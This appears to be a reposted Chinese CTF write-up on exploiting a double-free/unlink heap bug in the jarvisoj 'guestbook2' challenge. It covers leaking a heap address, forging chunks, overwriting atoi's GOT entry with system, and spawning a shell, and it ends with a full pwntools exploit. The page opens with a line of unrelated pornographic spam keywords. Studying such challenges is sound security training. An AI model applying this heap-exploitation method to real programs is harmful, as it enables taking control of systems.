日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Double Free浅析(泄露堆地址的一种方法)

發(fā)布時間:2025/3/15 编程问答 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Double Free浅析(泄露堆地址的一种方法) 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

Double Free其實就是同一個指針free兩次。雖然一般把它叫做double free。其實只要是free一個指向堆內存的指針都有可能產(chǎn)生可以利用的漏洞。

double free的原理其實和堆溢出的原理差不多,都是通過unlink這個雙向鏈表刪除的宏來利用的。只是double free需要由自己來偽造整個chunk并且欺騙操作系統(tǒng)

所以好像和普通的堆溢出偽造chunk然后free觸發(fā)unlink造成固定地址寫,并進而造成任意地址讀和任意地址寫。

參考文章

我也不知道哪位大佬寫的資料1

Linux堆漏洞之Double free 不要說話

jarvisoj Guestbook2 ? ? ? ? ?wooy0ung

拿jarvisoj上的一道guestbook2來作為例子。

0x00 泄露堆地址

首先涉及到關于unsorted bin的一些知識:

? ? ? unsorted bin 的隊列使用 bins 數(shù)組的第一個,如果被用戶釋放的 chunk 大于 max_fast,或者 fast bins 中的空閑 chunk 合并后,這些 chunk 首先會被放到 unsorted bin 隊列中。

? ? ? 詳細的可以閱讀glibc內存管理ptmalloc2源碼分析一文。

為了偽造chunk通過unlink的驗證,我們需要找到一個指向堆地址的指針,之前寫的unlink淺析里面有提到,程序功能常常使用一個chunk_list來存儲所有malloc申請到的內存,那么chunk_list就可以作為我們指向堆地址的指針。這道題里則是先malloc一塊大的內存作為chunk_list,所以我們需要先泄露得到chunk_list的地址,從而偽造chunk。

add('a')

add('a')

add('a')

add('a')

remove(0)

remove(2)

釋放0號堆塊時,由于其前后都不是空閑堆塊所以不會發(fā)生合并,又因為大小為0x80所以會被放入unsorted bin當中,此時fd 和 bk都指向main arena中的一塊區(qū)域,此時可以通過uaf泄露libc基址(可以參考UAF獲取main_arena地址泄露libc基址,這道題沒有采用此方法);同樣的,釋放2號堆塊時也不會發(fā)生合并,且被放入unsorted bin,并和0號堆塊構成雙向鏈表:

此時chunk0的bk是指向chunk2的,由于程序讀取輸入后沒有在結尾加'\x00'之類的截斷,這里可以通過:

add('12345678')

show()

新申請的’12345678‘將覆蓋chunk0的fd,printf('%s')會連帶著把后面的指向chunk2的bk也打印出來,完成堆地址的泄露。

因為是第2個堆塊,所以:

heap_base=heap_addr - (0x80+0x10)*2 - (0x1810+0x10)

獲得了heap_base之后我們就可以計算指向所有申請的chunk的指針,這里我們利用chunk0來進行unlink,其相對heap_base的偏移地址為0x30:

chunk_addr=heap_base+0x30

完成泄露后把所有的chunk都釋放掉:

remove(0)

remove(1)

remove(3)

0x01 偽造chunk

現(xiàn)在的堆塊狀態(tài):

1.首先在chunk0的data區(qū)域偽造presize、size、fd和bk,原理和布局同unlink

2.接著在chunk1的data區(qū)域添加0x80大小的paddings,溢出到chunk2的起始位置,偽造presize和size

偽造的堆塊:

通過設置chunk0的size和chunk2的presize使得fake chunk0變成一個大小為0x80+0x90的大堆塊,且作為chunk2的前一個堆塊,通過設置chunk2的size使得fake chunk0看起來是空閑的。

chunk3和chunk4的作用是防止free(chunk2)時發(fā)生向前合并。

這樣free(chunk2)時發(fā)生向后合并,執(zhí)行unlink(fake chunk0),向chunk_addr的位置寫入chunk_addr - 0x18

接著調用edit(0)將可控chunk_addr位置的8字節(jié)

0x02 leak libc & get shell

類似unlink的利用方法,向*(chunk_addr)寫入0x18字節(jié)的paddings,接著將覆蓋chunk_addr的內容,這里還要考慮到程序定義的結構體里的inuse位和note length,所以payload應為:

payload='a'*8+p64(1)+p64(8)+p64(e.got['atoi']) ? ?#set inuse 1 , and set length 8

edit(0,payload)

緊接著show(0)將泄露出atoi的實際地址,從而leak libc基址

同樣的:

edit(0 , p64(system_addr))

將把atoi的got表寫入system的地址,然后在選擇功能的時候輸入'/bin'sh',程序將會執(zhí)行atoi('/bin/sh'),實際上就是執(zhí)行了system('/bin/sh')

get shell!

附上exp:


from pwn import *

p=process('./guestbook2')

e=ELF('./guestbook2')

libc=ELF('./libc-2.25.so')

def add(data):

p.recvuntil('Your choice: ')

p.sendline('2')

p.recvuntil('Length of new post: ')

p.sendline(str(len(data)))

p.recvuntil('Enter your post: ')

p.send(data)

def show():

p.recvuntil('Your choice: ')

p.sendline('1')

def edit(index,data):

p.recvuntil('Your choice: ')

p.sendline('3')

p.recvuntil('Post number: ')

p.sendline(str(index))

p.recvuntil('Length of post: ')

p.sendline(str(len(data)))

p.recvuntil('Enter your post: ')

p.send(data)

def remove(index):

p.recvuntil('Your choice: ')

p.sendline('4')

p.recvuntil('Post number: ')

p.sendline(str(index))

add('a')

add('a')

add('a')

add('a')

remove(0)

remove(2)

add('12345678')

show()

p.recvuntil('12345678')

heap_addr=u64(p.recv(4).ljust(8,'\x00'))

heap_base=heap_addr-0x1810-0x10-0x120

chunk_addr=heap_base+0x30

print 'heap base address: ',hex(heap_base)

print 'chunk list address: ',hex(chunk_addr)

remove(0)

remove(1)

remove(3)

gdb.attach(p,'b* 0x400bc2')

size0 = 0x90+0x80

add(p64(0)+p64(size0+1)+p64(chunk_addr-0x18)+p64(chunk_addr-0x10))

add("a"*0x80+p64(size0)+p64(0x90)+"a"*0x80+(p64(0)+p64(0x91)+"a"*0x80)*2)

remove(2)

payload='a'*8+p64(1)+p64(8)+p64(e.got['atoi'])

edit(0,payload)

show()

p.recvuntil('0. ')

leak_addr=u64(p.recv(6).ljust(8,'\x00'))

print hex(leak_addr)

libc_base=leak_addr-libc.symbols['atoi']

system_addr=libc_base+libc.symbols['system']

print 'system_address: ',hex(system_addr)

#gdb.attach(p,'b* 0x400f7c')

edit(0,p64(system_addr))

p.recvuntil('Your choice: ')

p.sendline('/bin/sh')

p.interactive()




作者:BJChangAn
鏈接:https://www.jianshu.com/p/72177311e2ae
來源:簡書
著作權歸作者所有。商業(yè)轉載請聯(lián)系作者獲得授權,非商業(yè)轉載請注明出處。

總結

以上是生活随笔為你收集整理的Double Free浅析(泄露堆地址的一种方法)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內容還不錯,歡迎將生活随笔推薦給好友。